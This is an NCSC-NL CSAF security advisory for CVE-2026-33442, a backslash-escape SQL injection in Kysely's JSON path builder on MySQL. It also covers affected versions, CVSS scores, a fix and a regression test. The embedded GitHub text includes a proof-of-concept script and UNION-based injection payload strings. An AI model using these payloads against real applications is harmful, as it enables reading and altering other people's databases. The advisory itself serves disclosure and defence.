{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33442",
        "tracking": {
            "current_release_date": "2026-03-31T22:26:48.269979Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33442",
            "initial_release_date": "2026-03-20T21:41:03.341658Z",
            "revision_history": [
                {
                    "date": "2026-03-20T21:41:03.341658Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T21:41:08.997905Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-26T17:29:12.748046Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-26T17:29:15.603578Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T17:39:12.506652Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-26T17:39:14.973248Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T19:38:53.690513Z",
                    "number": "7",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-27T20:57:02.867197Z",
                    "number": "8",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-27T20:57:05.864052Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-28T07:58:08.222802Z",
                    "number": "10",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-31T22:24:49.386000Z",
                    "number": "11",
                    "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-31T22:24:58.645648Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "12"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0.28.12|<0.28.14",
                                "product": {
                                    "name": "vers:unknown/>=0.28.12|<0.28.14",
                                    "product_id": "CSAFPID-5969654",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:kysely:kysely:*:*:*:*:*:node.js:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "kysely"
                    }
                ],
                "category": "vendor",
                "name": "kysely"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0.28.12|<0.28.14",
                                "product": {
                                    "name": "vers:unknown/>=0.28.12|<0.28.14",
                                    "product_id": "CSAFPID-5918264"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "kysely"
                    }
                ],
                "category": "vendor",
                "name": "kysely-org"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33442",
            "cwe": {
                "id": "CWE-89",
                "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\n\nThe `sanitizeStringLiteral` method in Kysely's query compiler escapes single quotes (`'` → `''`) but does not escape backslashes. On MySQL with the default `BACKSLASH_ESCAPES` SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.\n\n## Details\n\nWhen a user calls `.key(value)` on a JSON path builder, the value flows through:\n\n1. `JSONPathBuilder.key(key)` at `src/query-builder/json-path-builder.ts:166` stores the key as a `JSONPathLegNode` with type `'Member'`.\n\n2. During compilation, `DefaultQueryCompiler.visitJSONPath()` at `src/query-compiler/default-query-compiler.ts:1609` wraps the full path in single quotes (`'$...'`).\n\n3. `DefaultQueryCompiler.visitJSONPathLeg()` at `src/query-compiler/default-query-compiler.ts:1623` calls `sanitizeStringLiteral(node.value)` for string values (line 1630).\n\n4. `sanitizeStringLiteral()` at `src/query-compiler/default-query-compiler.ts:1819-1821` only doubles single quotes:\n\n```typescript\n// src/query-compiler/default-query-compiler.ts:121\nconst LIT_WRAP_REGEX = /'/g\n\n// src/query-compiler/default-query-compiler.ts:1819-1821\nprotected sanitizeStringLiteral(value: string): string {\n  return value.replace(LIT_WRAP_REGEX, \"''\")\n}\n```\n\nThe `MysqlQueryCompiler` does not override `sanitizeStringLiteral` — it only overrides `sanitizeIdentifier` for backtick escaping.\n\n**The bypass mechanism:**\n\nIn MySQL's default `BACKSLASH_ESCAPES` mode, `\\'` inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input `\\' OR 1=1 --`:\n\n1. `sanitizeStringLiteral` sees the `'` and doubles it: `\\'' OR 1=1 --`\n2. The full compiled path becomes: `'$.\\'' OR 1=1 --'`\n3. MySQL parses `\\'` as an escaped quote character (consuming the first `'` of the doubled pair)\n4. The second `'` now terminates the string literal\n5. ` OR 1=1 --` is parsed as SQL, achieving injection\n\nThe existing test at `test/node/src/sql-injection.test.ts:61-83` only tests single-quote injection (`first' as ...`), which the `''` doubling correctly prevents. It does not test the backslash bypass vector.\n\n## PoC\n\n```javascript\nimport { Kysely, MysqlDialect } from 'kysely'\nimport { createPool } from 'mysql2'\n\nconst db = new Kysely({\n  dialect: new MysqlDialect({\n    pool: createPool({\n      host: 'localhost',\n      user: 'root',\n      password: 'password',\n      database: 'testdb',\n    }),\n  }),\n})\n\n// Setup: create a table with JSON data\nawait sql`CREATE TABLE IF NOT EXISTS users (\n  id INT PRIMARY KEY AUTO_INCREMENT,\n  data JSON\n)`.execute(db)\n\nawait sql`INSERT INTO users (data) VALUES ('{\"role\":\"admin\",\"secret\":\"s3cret\"}')`.execute(db)\n\n// Attack: backslash escape bypass in .key()\n// An application that passes user input to .key():\nconst userInput = \"\\\\' OR 1=1) UNION SELECT data FROM users -- \" // as never\n\nconst query = db\n  .selectFrom('users')\n  .select((eb) =>\n    eb.ref('data', '->$').key(userInput as never).as('result')\n  )\n\nconsole.log(query.compile().sql)\n// Produces: select `data`->'$.\\\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`\n// MySQL interprets \\' as escaped quote, breaking out of the string literal\n\nconst results = await query.execute()\nconsole.log(results) // Returns injected query results\n```\n\n**Simplified verification of the bypass mechanics:**\n\n```javascript\nconst { Kysely, MysqlDialect } = require('kysely')\n\n// Even without executing, the compiled SQL demonstrates the vulnerability:\nconst compiled = db\n  .selectFrom('users')\n  .select((eb) =>\n    eb.ref('data', '->$').key(\"\\\\' OR 1=1 --\" as never).as('x')\n  )\n  .compile()\n\nconsole.log(compiled.sql)\n// select `data`->'$.\\'' OR 1=1 --' as `x` from `users`\n//                  ^^ MySQL sees this as escaped quote\n//                    ^ This quote now terminates the string\n//                      ^^^^^^^^^^^ Injected SQL\n```\n\n**Note:** PostgreSQL is unaffected because `standard_conforming_strings=on` (default since 9.1) disables backslash escape interpretation. SQLite does not interpret backslash escapes in string literals. Only MySQL (and MariaDB) with the default `BACKSLASH_ESCAPES` mode are vulnerable.\n\n## Impact\n\n- **SQL Injection:** An attacker who can control values passed to the `.key()` JSON path builder API can inject arbitrary SQL into queries executed against MySQL databases.\n- **Data Exfiltration:** Using UNION-based injection, an attacker can read arbitrary data from any table accessible to the database user.\n- **Data Modification/Deletion:** If the application's database user has write permissions, stacked queries (when enabled via `multipleStatements: true`) or subquery-based injection can modify or delete data.\n- **Full Database Compromise:** Depending on MySQL user privileges, the attacker could potentially execute administrative operations.\n- **Scope:** Any application using Kysely with MySQL that passes user-controlled input to `.key()`, `.at()`, or other JSON path builder methods. While this is a specific API usage pattern (justifying AC:H), it is realistic in applications with dynamic JSON schema access or user-configurable JSON field selection.\n\n## Recommended Fix\n\nEscape backslashes in addition to single quotes in `sanitizeStringLiteral`. This neutralizes the bypass in MySQL's `BACKSLASH_ESCAPES` mode:\n\n```typescript\n// src/query-compiler/default-query-compiler.ts\n\n// Change the regex to also match backslashes:\nconst LIT_WRAP_REGEX = /['\\\\]/g\n\n// Update sanitizeStringLiteral:\nprotected sanitizeStringLiteral(value: string): string {\n  return value.replace(LIT_WRAP_REGEX, (match) => match === '\\\\' ? '\\\\\\\\' : \"''\")\n}\n```\n\nWith this fix, the input `\\' OR 1=1 --` becomes `\\\\'' OR 1=1 --`, where MySQL parses `\\\\` as a literal backslash, `''` as an escaped quote, and the string literal is never terminated.\n\nAlternatively, the MySQL-specific compiler could override `sanitizeStringLiteral` to handle backslash escaping only for MySQL, keeping the base implementation unchanged for PostgreSQL and SQLite which don't need it:\n\n```typescript\n// src/dialect/mysql/mysql-query-compiler.ts\nprotected override sanitizeStringLiteral(value: string): string {\n  return value.replace(/['\\\\]/g, (match) => match === '\\\\' ? '\\\\\\\\' : \"''\")\n}\n```\n\nA corresponding test should be added to `test/node/src/sql-injection.test.ts`:\n\n```typescript\nit('should not allow SQL injection via backslash escape in $.key JSON paths', async () => {\n  const injection = `\\\\' OR 1=1 -- ` as never\n\n  const query = ctx.db\n    .selectFrom('person')\n    .select((eb) => eb.ref('first_name', '->$').key(injection).as('x'))\n\n  await ctx.db.executeQuery(query)\n  await assertDidNotDropTable(ctx, 'person')\n})\n```",
                    "title": "github - https://api.github.com/advisories/GHSA-fr9j-6mvq-frcv"
                },
                {
                    "category": "description",
                    "text": "Kysely is a type-safe TypeScript SQL query builder. In versions 0.28.12 and 0.28.13, the `sanitizeStringLiteral` method in Kysely's query compiler escapes single quotes (`'` → `''`) but does not escape backslashes. On MySQL with the default `BACKSLASH_ESCAPES` SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL. Version 0.28.14 fixes the issue.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33442"
                },
                {
                    "category": "description",
                    "text": "Kysely is a type-safe TypeScript SQL query builder. In versions 0.28.12 and 0.28.13, the `sanitizeStringLiteral` method in Kysely's query compiler escapes single quotes (`'` → `''`) but does not escape backslashes. On MySQL with the default `BACKSLASH_ESCAPES` SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL. Version 0.28.14 fixes the issue.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33442.json"
                },
                {
                    "category": "other",
                    "text": "0.00048",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.5",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, Exploit code publicly available",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5918264",
                    "CSAFPID-5969654"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-fr9j-6mvq-frcv"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33442"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33442.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/kysely-org/kysely/security/advisories/GHSA-fr9j-6mvq-frcv"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-fr9j-6mvq-frcv"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33442"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
                        "baseScore": 8.1,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5918264",
                        "CSAFPID-5969654"
                    ]
                }
            ],
            "title": "CVE-2026-33442"
        }
    ]
}